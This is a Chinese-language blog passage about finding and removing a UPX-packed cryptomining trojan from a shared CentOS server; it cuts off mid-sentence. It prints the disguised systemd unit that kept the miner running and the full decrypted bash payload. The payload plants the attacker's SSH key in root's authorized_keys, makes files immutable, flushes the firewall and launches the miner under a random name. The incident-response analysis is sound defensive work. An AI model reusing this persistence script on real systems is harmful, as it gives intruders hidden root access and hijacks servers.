<p>\u901a\u8fc7\u7236\u8fdb\u7a0b<code class=\"language-plaintext highlighter-rouge\">pid<\/code>\u662f<code class=\"language-plaintext highlighter-rouge\">1<\/code>\u6211\u4eec\u53ef\u4ee5\u63a8\u6d4b\u7a0b\u5e8f\u5229\u7528\u4e86 <code class=\"language-plaintext highlighter-rouge\">systemd<\/code>\u91cd\u542f\u6076\u610f\u7a0b\u5e8f\u3002<\/p>\n  <\/li>\n  <li>\n    <p>\u901a\u8fc7\u7a0b\u5e8f\u65e0\u9650\u91cd\u542f\u6211\u4eec\u53ef\u4ee5\u63a8\u6d4b<code class=\"language-plaintext highlighter-rouge\">service<\/code>\u7684\u914d\u7f6e\u6587\u4ef6\u91cc\u9762\u5199\u4e86<code class=\"language-plaintext highlighter-rouge\">Restart=always<\/code>\u8fd9\u4e2a\u91cd\u542f\u7b56\u7565\u3002<\/p>\n  <\/li>\n<\/ol>\n\n<p>\u4e8e\u662f\u6328\u4e2a\u53bb\u6392\u67e5  <code class=\"language-plaintext highlighter-rouge\">\/etc\/systemd\/<\/code>\u91cc\u9762\u6ce8\u518c\u7684 <code class=\"language-plaintext highlighter-rouge\">Restart=always<\/code>\u7684\u914d\u7f6e\u6587\u4ef6\u3002\u627e\u4e86\u534a\u5929\u5b9e\u5728\u773c\u82b1\uff0c\u4e5f\u7528\u4e86\u6b63\u5e38\u5de5\u4f5c\u7684<code class=\"language-plaintext highlighter-rouge\">CentOS<\/code>\u7684<code class=\"language-plaintext highlighter-rouge\">systemd<\/code>\u670d\u52a1\u548c\u6b64\u670d\u52a1\u5668\u7684\u505a\u5bf9\u6bd4\uff0c\u533a\u522b\u633a\u5927\uff0c\u6ca1\u6709\u627e\u5230\u660e\u663e\u5f02\u5e38\uff0c\u6b64\u8def\u4e0d\u901a\u3002 :)<\/p>\n\n<p>\u67e5\u770b\u4e0b\u542f\u52a8\u7684 service\uff0c\u8fd8\u662f\u773c\u82b1\u3002\u6b64\u8def\u4e0d\u901a\u3002<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>systemctl list-unit-files|grep enabled\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u53c8\u751f\u4e00\u8ba1\uff0c\u7ed9\u4ed6\u53d1\u4e2a <code class=\"language-plaintext highlighter-rouge\">SEGV<\/code>\u8ba9\u4ed6\u5f02\u5e38\u9000\u51fa\uff0c\u770b\u770b\u6709\u6ca1\u6709<code class=\"language-plaintext highlighter-rouge\">coredump<\/code>\uff0c\u4ece<code class=\"language-plaintext highlighter-rouge\">coredump<\/code>\u5206\u6790\u3002\u56e0\u4e3a\u4f3c\u4e4e\u5e76\u6ca1\u6709\u914d\u7f6e<code class=\"language-plaintext highlighter-rouge\">coredump<\/code>\u7684\u7b56\u7565\uff0c\u4e0d\u8fc7\u4e5f\u4e0d\u662f\u4e0d\u80fd\u7528\uff0c\u9650\u4e8e\u8f83\u61d2+\u4e0d\u662f\u6211\u7684\u670d\u52a1\u5668\uff0c\u4e0d\u80fd\u4e71\u641e\u3002\u7a0b\u5e8f\u5f02\u5e38\u9000\u51fa\u540e\uff0c\u5728 <code class=\"language-plaintext highlighter-rouge\">\/var\/spool\/abrt<\/code>\u53ef\u4ee5\u770b\u5230\u6b63\u5728\u4fdd\u5b58\u8fc7\u7a0b\u4e2d\u7684 <code class=\"language-plaintext highlighter-rouge\">coredump<\/code>\u6587\u4ef6\uff0c\u7b49\u4ed6dump\u5b8c\u6210\u4e4b\u540e\u4f1a\u79fb\u52a8\u5230\u5176\u4ed6\u5730\u65b9\uff0c\u62fc\u4e2a\u624b\u901f\u8d76\u5728\u7cfb\u7edf\u5220\u6389\u4ed6\u4e4b\u524d\u628a\u4ed6\u590d\u5236\u4e00\u4efd\u3002<\/p>\n\n<p>\u53d1SEGV\u8ba9\u7a0b\u5e8f\u505c\u4e0b\u6765\uff0c\u4fdd\u5b58coredump\u73b0\u573a<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518125440.png\" alt=\"\" \/><\/p>\n\n<p>\u67e5\u770b <code class=\"language-plaintext highlighter-rouge\">environ<\/code>\u53ef\u4ee5\u770b\u5230\u91cc\u9762\u6709\u8be5\u6587\u4ef6\u7684\u8def\u5f84 <code class=\"language-plaintext highlighter-rouge\">\/usr\/bin\/ab06174bf1<\/code>\u548c\u53e6\u4e00\u4e2a\u8def\u5f84 <code class=\"language-plaintext highlighter-rouge\">\/usr\/sbin\/route_forbidden-close<\/code><\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518125542.png\" alt=\"\" \/><\/p>\n\n<p>\u65e9\u77e5\u9053\u770b <code class=\"language-plaintext highlighter-rouge\">environ<\/code>\u7684\u8bdd\u6211\u4e3a\u5565\u8fd8\u8981\u8d39\u529b\u7684\u7ed9\u4ed6\u53d1<code class=\"language-plaintext highlighter-rouge\">SEGV<\/code>\u8ba9\u4ed6\u6bb5\u9519\u8bef\uff0c\u76f4\u63a5\u53bb<code class=\"language-plaintext highlighter-rouge\">\/proc\/<\/code>\u7ffb\u5c31\u884c\u4e8655555 :)<\/p>\n\n<p>\u8fc7\u6ee4\u8be5\u6587\u4ef6\u5185\u7684\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u770b\u5230 <code class=\"language-plaintext highlighter-rouge\">upx<\/code> \u5b57\u6837\uff0c\u6b63\u5e38\u7a0b\u5e8f\u80af\u5b9a\u4e0d\u4f1a\u7528<code class=\"language-plaintext highlighter-rouge\">upx<\/code>\u7684\u3002\u53ef\u80fd\u8fd9\u4e5f\u662f\u9003\u8fc7\u6211\u4eec\u521a\u521a\u7684<code class=\"language-plaintext highlighter-rouge\">find+strings<\/code>\u7ec4\u5408\u7684\u539f\u56e0\u4e86\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518125653.png\" alt=\"\" \/><\/p>\n\n<p>\u7136\u540e\u628a\u6587\u4ef6\u62d6\u4e0b\u6765\uff0c\u672c\u673aupx\u8131\u58f3\u770b\u770b<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518125720.png\" alt=\"\" \/><\/p>\n\n<p>\u597d\u7684\uff0c\u5c31\u662fupx\u7684\u4e86\uff0c\u9001\u7ed9\u66fe\u5927\u4f6c\u5206\u6790\u4e00\u6ce2\u3002<\/p>\n\n<p>\u7f51\u4e0a\u641c\u4e00\u4e0b\u8fd9\u4e2a\u6587\u4ef6\u540d\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u770b\u5230\u6709\u4e14\u4ec5\u6709\u4e09\u6761\u7ed3\u679c\uff0c\u5185\u5bb9\u4e00\u6837<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518125800.png\" alt=\"\" \/><\/p>\n\n<p>\u70b9\u8fdb\u53bb\u4e00\u770b\uff0c\u597d\u5bb6\u4f19\uff0c\u75c7\u72b6\u5b8c\u5168\u4e00\u81f4<\/p>\n\n<p>https:\/\/blog.csdn.net\/qq_36270681\/article\/details\/115366550<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518125921.png\" alt=\"\" \/><\/p>\n\n<p>\u800c\u540e\u76f4\u63a5\u627e\u5230\u4e86<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>cat \/usr\/lib\/systemd\/system\/pmapx_start_2.service\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518130020.png\" alt=\"\" \/><\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n<\/pre><\/td><td class=\"rouge-code\"><pre>#  This file is part of systemd.\n#\n#  systemd is free software; you can redistribute it and\/or modify it\n#  under the terms of the GNU Lesser General Public License as published by\n#  the Free Software Foundation; either version 2.1 of the License, or\n#  (at your option) any later version.\n#\n# Entries in this file show the compile time defaults.\n# You can change settings by editing this file.\n# Defaults can be restored by simply deleting this file.\n#\n# See resolved.conf(5) for details\n\n[Unit]\nDescription=System function loader.\n\n[Service]\nType=forking\nGuessMainPID=no\nRestart=always\nRestartSec=10\nExecStart=-\/usr\/sbin\/route_forbidden-close\n\n[Install]\nWantedBy=multi-user.target\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8fd9\u5bb6\u4f19\u9690\u85cf\u7684\u633a\u597d\uff0c\u8981\u4e0d\u662f\u4f60\u7528<code class=\"language-plaintext highlighter-rouge\">upx<\/code>\u52a0\u58f3\uff0c\u6211\u53ef\u80fd\u8fd8\u771f\u627e\u4e0d\u5230\u4f60\u4e86  :)<\/p>\n\n<p>\u627e\u5230\u51f6\u624b\u540e\uff0c\u7981\u8a00\u5957\u9910\u5c0f\u9ed1\u5c4b\u5957\u9910\u9001\u4e0a<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre>systemctl disable pmapx_start_2\nsystemctl stop pmapx_start_2\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4e16\u754c\u77ac\u95f4\u5b89\u9759\u4e0b\u6765\u3002<\/p>\n\n<p>\u518d\u770b\u770b<code class=\"language-plaintext highlighter-rouge\">ps -ef|grep \/usr\/bin<\/code>\uff0c\u6ca1\u6709\u5f02\u5e38\u7684\u90a3\u4e2a\u8fdb\u7a0b\u4e86\uff0cCPU\u8d1f\u8f7d\u4e5f\u964d\u52300\u4e86\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518132806.png\" alt=\"\" \/><\/p>\n\n<p>\u6536\u5de5\u3002<\/p>\n\n<p>\u66fe\u5927\u4f6c\u8fc7\u6765\u95ee\u6211\u600e\u4e48\u627e\u5230\u8fd9\u4e2a upx \u52a0\u58f3\u7684\u6587\u4ef6\u7684\uff0c\u60f3\u4e86\u60f3\u6211\u611f\u89c9\u53ef\u4ee5\u6c34\u4e00\u7bc7\u535a\u5ba2\uff0c\u5e2e\u52a9\u5927\u5bb6\u5206\u6790\u8fd9\u4e2a\u505a\u4e86\u4e00\u70b9\u70b9\u5bf9\u6297\u7684\u6316\u77ff\u6728\u9a6c\u3002\u6bd5\u7adf\u8fd9\u4e2a\u6837\u672c\u4f3c\u4e4e\u521a\u51fa\u6765\u4e0d\u4e45\uff0c\u7f51\u4e0a\u6ca1\u627e\u5230\u592a\u591a\u7684\u8d44\u6599\u3002\u53ef\u80fd\u6709\u5173\u8054\u8bcd\u7684\u90e8\u5206\u6211\u622a\u56fe\u52a0\u6587\u672c\u5f62\u5f0f\u5199\u5230\u6b63\u6587\u91cc\u9762\u4e86\uff0c \u505a\u4e2a SEO \u8ba9\u641c\u7d22\u5f15\u64ce\u7d22\u5f15\u4e00\u4e0b\u3002<\/p>\n\n<h2 id=\"\u5206\u6790\u6076\u610f\u6587\u4ef6\">\u5206\u6790\u6076\u610f\u6587\u4ef6<\/h2>\n\n<p>\u4e0d\u6127\u662f NESE \u7684\u5927\u4f6c\uff0c\u66fe\u5927\u4f6c\u5206\u5206\u949f\u628a\u6076\u610f\u6587\u4ef6\u9006\u4e86\u3002<\/p>\n\n<p>\u8fd9\u5176\u5b9e\u662f\u4e2ashc\u52a0\u5bc6\u7684shell\u811a\u672c\uff0c\u53ef\u4ee5\u89e3\u5bc6\uff0cIDA\u91cc\u9762\u4e5f\u80fd\u76f4\u63a5\u770b\u5230 shell \u7684\u6e90\u7801\u3002\u66fe\u5927\u4f6c\u8bf4\u4ed6\u8fd8\u5199\u4e86\u4e2a\u516c\u94a5\u8fdb\u53bb\uff0c\u6211\u4eec\u8d76\u7d27\u767b\u5f55\u4e0a\u53bb\uff0c\u679c\u7136\uff0c\u516c\u94a5\u5c31\u5728\u90a3\u91cc\uff0c\u4eff\u4f5b\u5728\u5632\u7b11\u6211\u4eec\u767e\u5bc699\u758f\uff0c\u8fd9\u4e48\u660e\u663e\u7684\u4e1c\u897f\u6ca1\u6709\u53bb\u5173\u6ce8\u4ed6\u3002\u5176\u5b9e\u4e5f\u4e0d\u4e00\u5b9a\u5bb9\u6613\u53d1\u73b0\u8fd9\u4e2a\u6709\u95ee\u9898\uff0c\u8fd9\u53f0\u7535\u8111\u5f88\u591a\u4e2a\u4eba\u5728\u7528\uff0c\u53ef\u80fd\u4f1a\u4ee5\u4e3a\u662f\u5176\u4ed6\u540c\u5b66\u5199\u7684\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518185556.png\" alt=\"\" \/><\/p>\n\n<p>\u5bf9\u6bd4\u4e00\u4e0b\u5b57\u7b26\u4e32\uff0c\u548c\u89e3\u5bc6\u51fa\u6765\u7684shell\u91cc\u9762\u5185\u5bb9\u4e00\u6837\uff0c\u7acb\u523b\u5e72\u6389\u4ed6\u3002\u6211\u56de\u5230\u6211\u7684\u5de5\u4f4d\u51c6\u5907\u4e0a\u53bb\u800d\u800d\uff0c\u4e8b\u60c5\u53d8\u5f97\u6709\u8da3\u8d77\u6765\u4e86\u3002<\/p>\n\n<p>\u66fe\u5927\u4f6c\u53eb\u6211\u8bf4\u8fd9\u4e2a\u6587\u4ef6\u600e\u4e48\u6539\u4e0d\u4e86\uff0c\u6211\u8fc7\u53bb\u4e00\u770b\uff0c <code class=\"language-plaintext highlighter-rouge\">:w<\/code> \u4e0d\u80fd\u4fdd\u5b58\uff0c<code class=\"language-plaintext highlighter-rouge\">:w!<\/code> \u4e5f\u4e0d\u884c\uff0c\u770b\u8d77\u6765\u50cf\u662f\u7528\u4e86<code class=\"language-plaintext highlighter-rouge\">chattr<\/code>\u6dfb\u52a0\u4e86\u53ea\u8bfb\u5c5e\u6027\u3002<\/p>\n\n<p>\u9000\u51fa\u6765\u4e00\u770b\uff0c\u8fd8\u771f\u662f\u3002<\/p>\n\n<p>\u597d\u5bb6\u4f19\uff0c\u8fd8\u7559\u4e86\u4e00\u624b\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518190036.png\" alt=\"\" \/><\/p>\n\n<p>\u95ee\u9898\u4e0d\u5927\uff0c\u6211\u662froot\u554a\uff0c\u4e00\u6ce2 <code class=\"language-plaintext highlighter-rouge\">chattr -i<\/code>\u53bb\u6389\u53ea\u8bfb\uff0c\u7136\u540e\u8986\u76d6\u6389\u91cc\u9762\u7684\u5185\u5bb9\uff0c\u95ee\u9898\u89e3\u51b3\u3002\u5f53\u65f6\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u7684\u65f6\u5019\u8fd8\u6ca1\u6709\u4ed4\u7ec6\u5206\u6790 shell \u811a\u672c\uff0c\u770b\u5230\u5199\u4e86\u516c\u94a5\u5c31\u76f4\u63a5\u53bb\u670d\u52a1\u5668\u4e86\uff0c\u5f80\u540e\u9762\u7684shell\u811a\u672c\u91cc\u9762\u662f\u80fd\u770b\u5230\u5177\u4f53\u7684\u5730\u65b9\u7684\u3002<\/p>\n\n<p>\u4e00\u4e2a\u95ee\u9898\u89e3\u51b3\u4e86\uff0c\u56de\u6765\u7ee7\u7eed\u5206\u6790 shell\u4ee3\u7801\u3002<\/p>\n\n<p>\u89e3\u5bc6\u4e4b\u540e\u4ee3\u7801\u5982\u4e0b<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n58\n59\n60\n61\n62\n63\n64\n65\n66\n67\n68\n69\n70\n71\n72\n73\n74\n75\n76\n77\n78\n79\n80\n81\n82\n83\n84\n85\n86\n87\n88\n89\n90\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"c\">#!\/bin\/bash<\/span>\n<span class=\"c\">### Functii \/ Variabile ###<\/span>\n<span class=\"nv\">random_name<\/span><span class=\"o\">=<\/span><span class=\"s2\">\"<\/span><span class=\"si\">$(<\/span>openssl rand <span class=\"nt\">-hex<\/span> 5<span class=\"si\">)<\/span><span class=\"s2\">\"<\/span>\n<span class=\"nv\">locatie_miner_default<\/span><span class=\"o\">=<\/span><span class=\"s2\">\"\/usr\/sbin\/rmt_remount-open\"<\/span>\n<span class=\"nv\">locatie_pid<\/span><span class=\"o\">=<\/span><span class=\"s2\">\"\/usr\/local\/share\/.logfile\"<\/span>\n<span class=\"nv\">sshkey<\/span><span class=\"o\">=<\/span><span class=\"s2\">\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp\/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk\/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg\/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu\"<\/span>\n<span class=\"c\">########################################################<\/span>\n<span class=\"k\">if<\/span> <span class=\"o\">[<\/span> <span class=\"nt\">-f<\/span> \/usr\/sbin\/lib23fr <span class=\"o\">]<\/span><span class=\"p\">;<\/span> <span class=\"k\">then\n\t<\/span><span class=\"nv\">static<\/span><span class=\"o\">=<\/span>\/usr\/sbin\/lib23fr\n<span class=\"k\">else\n\t<\/span><span class=\"nv\">static<\/span><span class=\"o\">=<\/span><span class=\"nb\">cp\n<\/span><span class=\"k\">fi\n\nif<\/span> <span class=\"o\">[<\/span> <span class=\"nt\">-f<\/span> \/usr\/sbin\/chattr_bakv2 <span class=\"o\">]<\/span><span class=\"p\">;<\/span> <span class=\"k\">then\n\t<\/span><span class=\"nv\">static2<\/span><span class=\"o\">=<\/span>\/usr\/sbin\/chattr_bakv2\n<span class=\"k\">else\n\t<\/span><span class=\"nv\">static2<\/span><span class=\"o\">=<\/span>chattr\n<span class=\"k\">fi\n\nif<\/span> <span class=\"o\">[<\/span> <span class=\"nt\">-f<\/span> \/usr\/sbin\/lodosir <span class=\"o\">]<\/span><span class=\"p\">;<\/span> <span class=\"k\">then\n\t<\/span><span class=\"nv\">static3<\/span><span class=\"o\">=<\/span>\/usr\/sbin\/lodosir\n<span class=\"k\">else\n\t<\/span><span class=\"nv\">static3<\/span><span class=\"o\">=<\/span><span class=\"nb\">rm\n<\/span><span class=\"k\">fi<\/span>\n<span class=\"c\">########################################################<\/span>\n\npermisiuni_logs<span class=\"o\">(){<\/span>\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\/bin\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\/local\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\/local\/share\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> <span class=\"nv\">$locatie_pid<\/span>\n\t<span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$locatie_pid<\/span>\n<span class=\"o\">}<\/span>\n<span class=\"c\">######<\/span>\nsshkeyset<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n\t<span class=\"k\">if<\/span> <span class=\"o\">[<\/span> <span class=\"si\">$(<\/span><span class=\"nb\">id<\/span> <span class=\"nt\">-u<\/span><span class=\"si\">)<\/span> <span class=\"o\">=<\/span> 0 <span class=\"o\">]<\/span><span class=\"p\">;<\/span> <span class=\"k\">then\n\t\tif<\/span> <span class=\"o\">[<\/span> <span class=\"nt\">-f<\/span> <span class=\"s2\">\"\/root\/.ssh\/authorized_keys\"<\/span> <span class=\"o\">]<\/span><span class=\"p\">;<\/span> <span class=\"k\">then\n\t\t\tif<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">cat<\/span> \/root\/.ssh\/authorized_keys | <span class=\"nb\">grep<\/span> <span class=\"nt\">-q<\/span> <span class=\"s2\">\"<\/span><span class=\"k\">${<\/span><span class=\"nv\">sshkey<\/span><span class=\"k\">}<\/span><span class=\"s2\">\"<\/span> <span class=\"p\">;<\/span> <span class=\"k\">then<\/span>\n\t\t\t\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/root <span class=\"p\">;<\/span> <span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/root\/.ssh <span class=\"p\">;<\/span> <span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/root\/.ssh\/authorized_keys\n\t\t\t\t<span class=\"nb\">echo<\/span> <span class=\"nv\">$sshkey<\/span> <span class=\"o\">&gt;<\/span> <span class=\"s2\">\"\/root\/.ssh\/authorized_keys\"<\/span>\n\t\t\t\t<span class=\"nb\">chmod <\/span>600 \/root\/.ssh\/authorized_keys\n\t\t\t\t<span class=\"nv\">$static2<\/span> +i \/root\/.ssh\/authorized_keys\n\t\t\t<span class=\"k\">else<\/span>\n\t\t\t\t:\n\t\t\t<span class=\"k\">fi\n\t\telse\n\t\t\tif<\/span> <span class=\"o\">[<\/span> <span class=\"nt\">-d<\/span> <span class=\"s2\">\"\/root\/.ssh\"<\/span> <span class=\"o\">]<\/span><span class=\"p\">;<\/span> <span class=\"k\">then<\/span>\n\t\t\t\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/root\/.ssh\n\t\t\t\t<span class=\"nb\">echo<\/span> <span class=\"nv\">$sshkey<\/span> <span class=\"o\">&gt;<\/span> <span class=\"s2\">\"\/root\/.ssh\/authorized_keys\"<\/span>\n\t\t\t\t<span class=\"nb\">chmod <\/span>600 \/root\/.ssh\/authorized_keys\n\t\t\t\t<span class=\"nv\">$static2<\/span> +i \/root\/.ssh\/authorized_keys\n\t\t\t<span class=\"k\">else<\/span>\n\t\t\t\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/root\n\t\t\t\t<span class=\"nb\">mkdir<\/span> <span class=\"s2\">\"\/root\/.ssh\"<\/span> \n\t\t\t\t<span class=\"nb\">echo<\/span> <span class=\"nv\">$sshkey<\/span> <span class=\"o\">&gt;<\/span> <span class=\"s2\">\"\/root\/.ssh\/authorized_keys\"<\/span>\n\t\t\t\t<span class=\"nb\">chmod <\/span>600 \/root\/.ssh\/authorized_keys\n\t\t\t\t<span class=\"nv\">$static2<\/span> +i \/root\/.ssh\/authorized_keys\n\t\t\t<span class=\"k\">fi\n\t\tfi\n\tfi<\/span>\n<span class=\"o\">}<\/span>\n<span class=\"c\">######<\/span>\nscoatem_ports<span class=\"o\">(){<\/span>\n\tiptables <span class=\"nt\">-F<\/span> <span class=\"p\">;<\/span> iptables <span class=\"nt\">--flush<\/span> <span class=\"p\">;<\/span> <span class=\"nb\">echo<\/span> <span class=\"s2\">\"nameserver 8.8.8.8\"<\/span><span class=\"o\">&gt;<\/span> \/etc\/resolv.conf\n<span class=\"o\">}<\/span>\n<span class=\"c\">######<\/span>\nkulkat<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n\t<span class=\"k\">if<\/span> <span class=\"o\">[<\/span> <span class=\"nt\">-f<\/span> \/usr\/bin\/config.json <span class=\"o\">]<\/span><span class=\"p\">;<\/span> <span class=\"k\">then<\/span>\n\t\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\/bin\/config.json\n\t\t<span class=\"nb\">rm<\/span> <span class=\"nt\">-rf<\/span> \/usr\/bin\/config.json\n\t<span class=\"k\">fi<\/span>\n<span class=\"o\">}<\/span>\n<span class=\"c\">######<\/span>\nfunctie_on<span class=\"o\">(){<\/span>\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\/bin\n\t<span class=\"nv\">$static2<\/span> <span class=\"nt\">-i<\/span> <span class=\"nt\">-a<\/span> <span class=\"nt\">-j<\/span> <span class=\"nt\">-t<\/span> <span class=\"nt\">-d<\/span> <span class=\"nt\">-u<\/span> \/usr\n\t<span class=\"nv\">$static<\/span> <span class=\"nv\">$locatie_miner_default<\/span> \/usr\/bin\/<span class=\"nv\">$random_name<\/span>\n\t\/usr\/bin\/<span class=\"nv\">$random_name<\/span> <span class=\"o\">&gt;<\/span> \/dev\/null 2&gt;&amp;1 &amp; <span class=\"nb\">disown\n\techo<\/span> <span class=\"nv\">$random_name<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$locatie_pid<\/span>\n\t<span class=\"nv\">$static3<\/span> <span class=\"nt\">-rf<\/span> \/usr\/bin\/<span class=\"nv\">$random_name<\/span>\n<span class=\"o\">}<\/span>\n<span class=\"c\">######<\/span>\n<span class=\"c\">### End of Functii \/ Varibile ###<\/span>\n<span class=\"c\">## aici incepe tot codu cica<\/span>\npermisiuni_logs\nsshkeyset\nscoatem_ports\nkulkat\nfunctie_on\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4ee3\u7801\u5bf9\u6297\u7684\u610f\u56fe\u5f88\u660e\u663e\uff0c\u5199\u4e86\u4e2a\u516c\u94a5\u8986\u76d6\u6389\u5df2\u6709\u7684 <code class=\"language-plaintext highlighter-rouge\">authorized_key<\/code>\uff0c\u7136\u540e<code class=\"language-plaintext highlighter-rouge\">chattr<\/code>\u8bbe\u5b9a\u53ea\u8bfb\u3002<\/p>\n\n<p>\u4ed6\u8fd8\u6709\u4e2a <code class=\"language-plaintext highlighter-rouge\">\/usr\/sbin\/chattr_bakv2 <\/code>\uff0c\u63a8\u6d4b\u653b\u51fb\u8005\u5728\u67d0\u4e9b\u5730\u65b9\u4f1a\u628a\u7cfb\u7edf\u539f\u6709\u7684 <code class=\"language-plaintext highlighter-rouge\">chattr<\/code>\u6362\u4e2a\u540d\u5b57\uff0c\u8ba9\u7ba1\u7406\u5458\u4e0a\u53bb\u6392\u67e5\u7684\u65f6\u5019\u6ca1\u6709<code class=\"language-plaintext highlighter-rouge\">chattr<\/code>\u53ef\u7528\uff0c\u597d\u5bb6\u4f19\uff0c\u76f4\u547c\u5185\u884c\u3002<\/p>\n\n<p><code class=\"language-plaintext highlighter-rouge\">\/usr\/sbin\/rmt_remount-open<\/code> \u5c31\u662f\u6316\u77ff\u7a0b\u5e8f\u7684\u672c\u4f53\u4e86\uff0c\u5148\u628a\u6316\u77ff\u7a0b\u5e8f\u590d\u5236\u5230 